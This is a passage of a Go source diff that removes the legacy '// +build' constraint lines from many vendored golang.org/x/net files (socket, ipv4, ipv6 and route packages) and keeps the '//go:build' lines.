a/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go +++ b/vendor/golang.org/x/net/internal/socket/rawconn_nomsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_bsd.go b/vendor/golang.org/x/net/internal/socket/sys_bsd.go index b258879d44..e7664d48be 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_bsd.go +++ b/vendor/golang.org/x/net/internal/socket/sys_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || openbsd || solaris -// +build aix darwin dragonfly freebsd openbsd solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_const_unix.go b/vendor/golang.org/x/net/internal/socket/sys_const_unix.go index 5d99f2373f..d7627f87eb 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_const_unix.go +++ b/vendor/golang.org/x/net/internal/socket/sys_const_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_linux.go b/vendor/golang.org/x/net/internal/socket/sys_linux.go index 76f5b8ae5d..08d4910778 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_linux.go +++ b/vendor/golang.org/x/net/internal/socket/sys_linux.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build linux && !s390x && !386 -// +build linux,!s390x,!386 package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go b/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go index af964e6171..1d182470d0 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go +++ b/vendor/golang.org/x/net/internal/socket/sys_linux_loong64.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build loong64 -// +build loong64 package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go b/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go index 5b128fbb2a..0e407d1257 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go +++ b/vendor/golang.org/x/net/internal/socket/sys_linux_riscv64.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build riscv64 -// +build riscv64 package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_posix.go b/vendor/golang.org/x/net/internal/socket/sys_posix.go index 42b8f2340e..58d8654824 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_posix.go +++ b/vendor/golang.org/x/net/internal/socket/sys_posix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_stub.go b/vendor/golang.org/x/net/internal/socket/sys_stub.go index 7cfb349c0c..2e5b473c66 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_stub.go +++ b/vendor/golang.org/x/net/internal/socket/sys_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package socket diff --git a/vendor/golang.org/x/net/internal/socket/sys_unix.go b/vendor/golang.org/x/net/internal/socket/sys_unix.go index de823932b9..93058db5b9 100644 --- a/vendor/golang.org/x/net/internal/socket/sys_unix.go +++ b/vendor/golang.org/x/net/internal/socket/sys_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris package socket diff --git a/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go b/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go index 00691bd524..45bab004c1 100644 --- a/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go +++ b/vendor/golang.org/x/net/internal/socket/zsys_aix_ppc64.go @@ -3,7 +3,6 @@ // Added for go1.11 compatibility //go:build aix -// +build aix package socket diff --git a/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go b/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go index 6a94fec2c5..b6fc15a1a2 100644 --- a/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go +++ b/vendor/golang.org/x/net/internal/socket/zsys_linux_loong64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build loong64 -// +build loong64 package socket diff --git a/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go b/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go index c066272ddd..e67fc3cbaa 100644 --- a/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go +++ b/vendor/golang.org/x/net/internal/socket/zsys_linux_riscv64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build riscv64 -// +build riscv64 package socket diff --git a/vendor/golang.org/x/net/ipv4/control_bsd.go b/vendor/golang.org/x/net/ipv4/control_bsd.go index b7385dfd95..c88da8cbe7 100644 --- a/vendor/golang.org/x/net/ipv4/control_bsd.go +++ b/vendor/golang.org/x/net/ipv4/control_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd -// +build aix darwin dragonfly freebsd netbsd openbsd package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/control_pktinfo.go b/vendor/golang.org/x/net/ipv4/control_pktinfo.go index 0e748dbdc4..14ae2dae49 100644 --- a/vendor/golang.org/x/net/ipv4/control_pktinfo.go +++ b/vendor/golang.org/x/net/ipv4/control_pktinfo.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || linux || solaris -// +build darwin linux solaris package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/control_stub.go b/vendor/golang.org/x/net/ipv4/control_stub.go index f27322c3ed..3ba6611609 100644 --- a/vendor/golang.org/x/net/ipv4/control_stub.go +++ b/vendor/golang.org/x/net/ipv4/control_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/control_unix.go b/vendor/golang.org/x/net/ipv4/control_unix.go index 2413e02f8f..2e765548f3 100644 --- a/vendor/golang.org/x/net/ipv4/control_unix.go +++ b/vendor/golang.org/x/net/ipv4/control_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/icmp_stub.go b/vendor/golang.org/x/net/ipv4/icmp_stub.go index cd4ee6e1c9..c2c4ce7ff5 100644 --- a/vendor/golang.org/x/net/ipv4/icmp_stub.go +++ b/vendor/golang.org/x/net/ipv4/icmp_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !linux -// +build !linux package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/payload_cmsg.go b/vendor/golang.org/x/net/ipv4/payload_cmsg.go index 1bb370e25f..91c685e8fc 100644 --- a/vendor/golang.org/x/net/ipv4/payload_cmsg.go +++ b/vendor/golang.org/x/net/ipv4/payload_cmsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/payload_nocmsg.go b/vendor/golang.org/x/net/ipv4/payload_nocmsg.go index 53f0794eb7..2afd4b50ef 100644 --- a/vendor/golang.org/x/net/ipv4/payload_nocmsg.go +++ b/vendor/golang.org/x/net/ipv4/payload_nocmsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sockopt_posix.go b/vendor/golang.org/x/net/ipv4/sockopt_posix.go index eb07c1c02a..82e2c37838 100644 --- a/vendor/golang.org/x/net/ipv4/sockopt_posix.go +++ b/vendor/golang.org/x/net/ipv4/sockopt_posix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sockopt_stub.go b/vendor/golang.org/x/net/ipv4/sockopt_stub.go index cf036893b7..840108bf76 100644 --- a/vendor/golang.org/x/net/ipv4/sockopt_stub.go +++ b/vendor/golang.org/x/net/ipv4/sockopt_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_aix.go b/vendor/golang.org/x/net/ipv4/sys_aix.go index 02730cdfd2..9244a68a38 100644 --- a/vendor/golang.org/x/net/ipv4/sys_aix.go +++ b/vendor/golang.org/x/net/ipv4/sys_aix.go @@ -4,7 +4,6 @@ // Added for go1.11 compatibility //go:build aix -// +build aix package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreq.go b/vendor/golang.org/x/net/ipv4/sys_asmreq.go index 22322b387e..645f254c6d 100644 --- a/vendor/golang.org/x/net/ipv4/sys_asmreq.go +++ b/vendor/golang.org/x/net/ipv4/sys_asmreq.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd || solaris || windows -// +build aix darwin dragonfly freebsd netbsd openbsd solaris windows package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go b/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go index fde640142d..48cfb6db2f 100644 --- a/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go +++ b/vendor/golang.org/x/net/ipv4/sys_asmreq_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !netbsd && !openbsd && !solaris && !windows -// +build !aix,!darwin,!dragonfly,!freebsd,!netbsd,!openbsd,!solaris,!windows package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreqn.go b/vendor/golang.org/x/net/ipv4/sys_asmreqn.go index 54eb9901b5..0b27b632f1 100644 --- a/vendor/golang.org/x/net/ipv4/sys_asmreqn.go +++ b/vendor/golang.org/x/net/ipv4/sys_asmreqn.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || freebsd || linux -// +build darwin freebsd linux package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go b/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go index dcb15f25a5..303a5e2e68 100644 --- a/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go +++ b/vendor/golang.org/x/net/ipv4/sys_asmreqn_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !darwin && !freebsd && !linux -// +build !darwin,!freebsd,!linux package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_bpf.go b/vendor/golang.org/x/net/ipv4/sys_bpf.go index fb11e324e2..1b4780df41 100644 --- a/vendor/golang.org/x/net/ipv4/sys_bpf.go +++ b/vendor/golang.org/x/net/ipv4/sys_bpf.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build linux -// +build linux package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go b/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go index fc53a0d33a..b1f779b493 100644 --- a/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go +++ b/vendor/golang.org/x/net/ipv4/sys_bpf_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !linux -// +build !linux package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_bsd.go b/vendor/golang.org/x/net/ipv4/sys_bsd.go index e191b2f14f..b7b032d260 100644 --- a/vendor/golang.org/x/net/ipv4/sys_bsd.go +++ b/vendor/golang.org/x/net/ipv4/sys_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build netbsd || openbsd -// +build netbsd openbsd package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_ssmreq.go b/vendor/golang.org/x/net/ipv4/sys_ssmreq.go index 6a4e7abf9b..a295e15ea0 100644 --- a/vendor/golang.org/x/net/ipv4/sys_ssmreq.go +++ b/vendor/golang.org/x/net/ipv4/sys_ssmreq.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || freebsd || linux || solaris -// +build darwin freebsd linux solaris package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go b/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go index 157159fd50..74bd454e25 100644 --- a/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go +++ b/vendor/golang.org/x/net/ipv4/sys_ssmreq_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !darwin && !freebsd && !linux && !solaris -// +build !darwin,!freebsd,!linux,!solaris package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/sys_stub.go b/vendor/golang.org/x/net/ipv4/sys_stub.go index d550851658..20af4074c2 100644 --- a/vendor/golang.org/x/net/ipv4/sys_stub.go +++ b/vendor/golang.org/x/net/ipv4/sys_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go b/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go index b7f2d6e5c1..dd454025c7 100644 --- a/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go +++ b/vendor/golang.org/x/net/ipv4/zsys_aix_ppc64.go @@ -3,7 +3,6 @@ // Added for go1.11 compatibility //go:build aix -// +build aix package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go b/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go index e15c22c748..54f9e13948 100644 --- a/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go +++ b/vendor/golang.org/x/net/ipv4/zsys_linux_loong64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build loong64 -// +build loong64 package ipv4 diff --git a/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go b/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go index e2edebdb81..78374a5250 100644 --- a/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go +++ b/vendor/golang.org/x/net/ipv4/zsys_linux_riscv64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build riscv64 -// +build riscv64 package ipv4 diff --git a/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go b/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go index 2733ddbe27..a8f04e7b3b 100644 --- a/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go +++ b/vendor/golang.org/x/net/ipv6/control_rfc2292_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin -// +build darwin package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go b/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go index 9c90844aac..51fbbb1f17 100644 --- a/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go +++ b/vendor/golang.org/x/net/ipv6/control_rfc3542_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/control_stub.go b/vendor/golang.org/x/net/ipv6/control_stub.go index b7e8643fc9..eb28ce7534 100644 --- a/vendor/golang.org/x/net/ipv6/control_stub.go +++ b/vendor/golang.org/x/net/ipv6/control_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/control_unix.go b/vendor/golang.org/x/net/ipv6/control_unix.go index 63e475db83..9c73b8647e 100644 --- a/vendor/golang.org/x/net/ipv6/control_unix.go +++ b/vendor/golang.org/x/net/ipv6/control_unix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/icmp_bsd.go b/vendor/golang.org/x/net/ipv6/icmp_bsd.go index 120bf87758..2814534a0b 100644 --- a/vendor/golang.org/x/net/ipv6/icmp_bsd.go +++ b/vendor/golang.org/x/net/ipv6/icmp_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || netbsd || openbsd -// +build aix darwin dragonfly freebsd netbsd openbsd package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/icmp_stub.go b/vendor/golang.org/x/net/ipv6/icmp_stub.go index d60136a901..c92c9b51e1 100644 --- a/vendor/golang.org/x/net/ipv6/icmp_stub.go +++ b/vendor/golang.org/x/net/ipv6/icmp_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/payload_cmsg.go b/vendor/golang.org/x/net/ipv6/payload_cmsg.go index b0692e4304..be04e4d6ae 100644 --- a/vendor/golang.org/x/net/ipv6/payload_cmsg.go +++ b/vendor/golang.org/x/net/ipv6/payload_cmsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/payload_nocmsg.go b/vendor/golang.org/x/net/ipv6/payload_nocmsg.go index cd0ff50838..29b9ccf691 100644 --- a/vendor/golang.org/x/net/ipv6/payload_nocmsg.go +++ b/vendor/golang.org/x/net/ipv6/payload_nocmsg.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sockopt_posix.go b/vendor/golang.org/x/net/ipv6/sockopt_posix.go index 37c6287130..34dfed588e 100644 --- a/vendor/golang.org/x/net/ipv6/sockopt_posix.go +++ b/vendor/golang.org/x/net/ipv6/sockopt_posix.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows || zos -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sockopt_stub.go b/vendor/golang.org/x/net/ipv6/sockopt_stub.go index 32fd8664ce..a09c3aaf26 100644 --- a/vendor/golang.org/x/net/ipv6/sockopt_stub.go +++ b/vendor/golang.org/x/net/ipv6/sockopt_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_aix.go b/vendor/golang.org/x/net/ipv6/sys_aix.go index a47182afb9..93c8efc468 100644 --- a/vendor/golang.org/x/net/ipv6/sys_aix.go +++ b/vendor/golang.org/x/net/ipv6/sys_aix.go @@ -4,7 +4,6 @@ // Added for go1.11 compatibility //go:build aix -// +build aix package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_asmreq.go b/vendor/golang.org/x/net/ipv6/sys_asmreq.go index 6ff9950d13..5c9cb44471 100644 --- a/vendor/golang.org/x/net/ipv6/sys_asmreq.go +++ b/vendor/golang.org/x/net/ipv6/sys_asmreq.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || windows -// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris windows package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go b/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go index 485290cb82..dc70494680 100644 --- a/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go +++ b/vendor/golang.org/x/net/ipv6/sys_asmreq_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_bpf.go b/vendor/golang.org/x/net/ipv6/sys_bpf.go index b5661fb8f0..e39f75f49f 100644 --- a/vendor/golang.org/x/net/ipv6/sys_bpf.go +++ b/vendor/golang.org/x/net/ipv6/sys_bpf.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build linux -// +build linux package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go b/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go index cb00661872..8532a8f5de 100644 --- a/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go +++ b/vendor/golang.org/x/net/ipv6/sys_bpf_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !linux -// +build !linux package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_bsd.go b/vendor/golang.org/x/net/ipv6/sys_bsd.go index bde41a6cef..9f3bc2afde 100644 --- a/vendor/golang.org/x/net/ipv6/sys_bsd.go +++ b/vendor/golang.org/x/net/ipv6/sys_bsd.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build dragonfly || netbsd || openbsd -// +build dragonfly netbsd openbsd package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_ssmreq.go b/vendor/golang.org/x/net/ipv6/sys_ssmreq.go index 023488a49c..b40f5c685b 100644 --- a/vendor/golang.org/x/net/ipv6/sys_ssmreq.go +++ b/vendor/golang.org/x/net/ipv6/sys_ssmreq.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build aix || darwin || freebsd || linux || solaris || zos -// +build aix darwin freebsd linux solaris zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go b/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go index acdf2e5cf7..6526aad581 100644 --- a/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go +++ b/vendor/golang.org/x/net/ipv6/sys_ssmreq_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !freebsd && !linux && !solaris && !zos -// +build !aix,!darwin,!freebsd,!linux,!solaris,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/sys_stub.go b/vendor/golang.org/x/net/ipv6/sys_stub.go index 5807bba392..76602c34e6 100644 --- a/vendor/golang.org/x/net/ipv6/sys_stub.go +++ b/vendor/golang.org/x/net/ipv6/sys_stub.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build !aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd && !solaris && !windows && !zos -// +build !aix,!darwin,!dragonfly,!freebsd,!linux,!netbsd,!openbsd,!solaris,!windows,!zos package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go b/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go index f604b0f3b4..668716df4d 100644 --- a/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go +++ b/vendor/golang.org/x/net/ipv6/zsys_aix_ppc64.go @@ -3,7 +3,6 @@ // Added for go1.11 compatibility //go:build aix -// +build aix package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go b/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go index 598fbfa06f..6a53284dbe 100644 --- a/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go +++ b/vendor/golang.org/x/net/ipv6/zsys_linux_loong64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build loong64 -// +build loong64 package ipv6 diff --git a/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go b/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go index d4f78e405a..13b3472057 100644 --- a/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go +++ b/vendor/golang.org/x/net/ipv6/zsys_linux_riscv64.go @@ -2,7 +2,6 @@ // cgo -godefs defs_linux.go //go:build riscv64 -// +build riscv64 package ipv6 diff --git a/vendor/golang.org/x/net/route/address.go b/vendor/golang.org/x/net/route/address.go index 5a3cc06549..5443d67223 100644 --- a/vendor/golang.org/x/net/route/address.go +++ b/vendor/golang.org/x/net/route/address.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/net/route/binary.go b/vendor/golang.org/x/net/route/binary.go index a5e28f1e9c..db3f7e0c2a 100644 --- a/vendor/golang.org/x/net/route/binary.go +++ b/vendor/golang.org/x/net/route/binary.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/net/route/empty.s b/vendor/golang.org/x/net/route/empty.s index 90ab4ca3d8..49d79791e0 100644 --- a/vendor/golang.org/x/net/route/empty.s +++ b/vendor/golang.org/x/net/route/empty.s @@ -3,6 +3,5 @@ // license that can be found in the LICENSE file. //go:build darwin && go1.12 -// +build darwin,go1.12 // This exists solely so we can linkname in symbols from syscall. diff --git a/vendor/golang.org/x/net/route/interface.go b/vendor/golang.org/x/net/route/interface.go index 9e9407830c..0aa70555ca 100644 --- a/vendor/golang.org/x/net/route/interface.go +++ b/vendor/golang.org/x/net/route/interface.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd || netbsd || openbsd -// +build darwin dragonfly freebsd netbsd openbsd package route diff --git a/vendor/golang.org/x/net/route/interface_announce.go b/vendor/golang.org/x/net/route/interface_announce.go index 8282bfe9e2..70614c1b1a 100644 --- a/vendor/golang.org/x/net/route/interface_announce.go +++ b/vendor/golang.org/x/net/route/interface_announce.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build dragonfly || freebsd || netbsd -// +build dragonfly freebsd netbsd package route diff --git a/vendor/golang.org/x/net/route/interface_classic.go b/vendor/golang.org/x/net/route/interface_classic.go index 903a196346..be1bf2652e 100644 --- a/vendor/golang.org/x/net/route/interface_classic.go +++ b/vendor/golang.org/x/net/route/interface_classic.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || netbsd -// +build darwin dragonfly netbsd package route diff --git a/vendor/golang.org/x/net/route/interface_multicast.go b/vendor/golang.org/x/net/route/interface_multicast.go index dd0b214baa..2ee37b9c74 100644 --- a/vendor/golang.org/x/net/route/interface_multicast.go +++ b/vendor/golang.org/x/net/route/interface_multicast.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. //go:build darwin || dragonfly || freebsd -// +build darwin dragonfly freebsd package route diff --git a/vendor/golang.org/x/net/route/message.go b/vendor/golang.org/x/net/route/message.go index 456a8363fe..dc8bfc5b3a 100644 --- a/vendor/golang.org/x/net/route/message.go +++ b/vendor/golang.org/x/net/route/message.go @@ -3,7 +3,6 @@ // license that can be found in the LICENSE file. 